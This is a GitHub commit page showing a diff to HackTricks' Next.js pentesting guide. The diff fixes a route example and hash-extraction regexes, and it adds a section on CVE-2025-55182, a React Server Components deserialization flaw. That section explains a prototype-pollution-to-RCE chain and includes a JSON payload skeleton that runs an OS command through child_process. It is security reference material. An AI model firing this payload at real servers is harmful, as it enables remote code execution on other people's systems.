Skip to content

Commit ffcbf7d

Browse files
authored
Merge pull request #1636 from HackTricks-wiki/update_CVE-2025-55182_React_Server_Components_Remote_Code_20251205_124129
CVE-2025-55182 React Server Components Remote Code Execution...
2 parents fbc939c + d6d1367 commit ffcbf7d

File tree

1 file changed

+35
-4
lines changed
  • src/network-services-pentesting/pentesting-web

1 file changed

+35
-4
lines changed

src/network-services-pentesting/pentesting-web/nextjs.md

Lines changed: 35 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -268,7 +268,7 @@ Catch-all routes handle multiple nested segments or unknown paths, providing fle
268268
```arduino
269269
my-nextjs-app/
270270
├── app/
271-
│ ├── [..slug]/
271+
│ ├── [...slug]/
272272
│ │ └── page.tsx
273273
│ ├── layout.tsx
274274
│ └── page.tsx
@@ -1285,10 +1285,10 @@ Search downloaded JS chunks for `createServerReference` and extract the hash and
12851285

12861286
```regex
12871287
# Strict pattern for standard minification
1288-
createServerReference\)\"([a-f0-9]{40,})\",\w+\.callServer,void 0,\w+\.findSourceMapURL,\"([^\"]+)\"\)
1288+
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
12891289
12901290
# Flexible pattern handling various minification styles
1291-
createServerReference[^\"]*\"([a-f0-9]{40,})\"[^\"]*\"([^\"]+)\"\s*\)
1291+
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
12921292
```
12931293

12941294
- Group 1: server action hash (40+ hex chars)
@@ -1332,9 +1332,40 @@ Replay in Repeater and test authorization, input validation and business logic o
13321332
- Requires `productionBrowserSourceMaps` enabled in production to recover names from bundles/source maps.
13331333
- Function-name disclosure is not a vulnerability by itself; use it to guide discovery and test each action’s authorization.
13341334

1335+
### React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
1336+
1337+
Next.js App Router deployments that expose Server Actions on `react-server-dom-webpack` **19.0.0–19.2.0 (Next.js 15.x/16.x)** contain a critical server-side prototype pollution during **Flight** chunk deserialization. By crafting `$` references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.
1338+
1339+
{{#ref}}
1340+
../../pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
1341+
{{#endref}}
1342+
1343+
#### Attack chain in Flight chunks
1344+
1345+
1. **Prototype pollution primitive:** Set `"then": "$1:__proto__:then"` so that the resolver writes a `then` function on `Object.prototype`. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
1346+
2. **Rebinding to the global `Function` constructor:** Point `_response._formData.get` at `"$1:constructor:constructor"`. During resolution, `object.constructor``Object`, and `Object.constructor``Function`, so future calls to `_formData.get()` actually execute `Function(...)`.
1347+
3. **Code execution via `_prefix`:** Place JavaScript source in `_response._prefix`. When the polluted `_formData.get` is invoked, the framework evaluates `Function(_prefix)(...)`, so the injected JS can run `require('child_process').exec()` or any other Node primitive.
1348+
1349+
#### Payload skeleton
1350+
1351+
```json
1352+
{
1353+
"then": "$1:__proto__:then",
1354+
"status": "resolved_model",
1355+
"reason": -1,
1356+
"value": "{\"then\":\"$B1337\"}",
1357+
"_response": {
1358+
"_prefix": "require('child_process').exec('id')",
1359+
"_chunks": "$Q2",
1360+
"_formData": { "get": "$1:constructor:constructor" }
1361+
}
1362+
}
1363+
```
1364+
13351365
## References
13361366

13371367
- [Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping](https://www.adversis.io/blogs/pentesting-next-js-server-actions)
13381368
- [NextjsServerActionAnalyzer (Burp extension)](https://github.com/Adversis/NextjsServerActionAnalyzer)
1369+
- [CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool](https://github.com/Spritualkb/CVE-2025-55182-exp)
13391370

1340-
{{#include ../../banners/hacktricks-training.md}}
1371+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)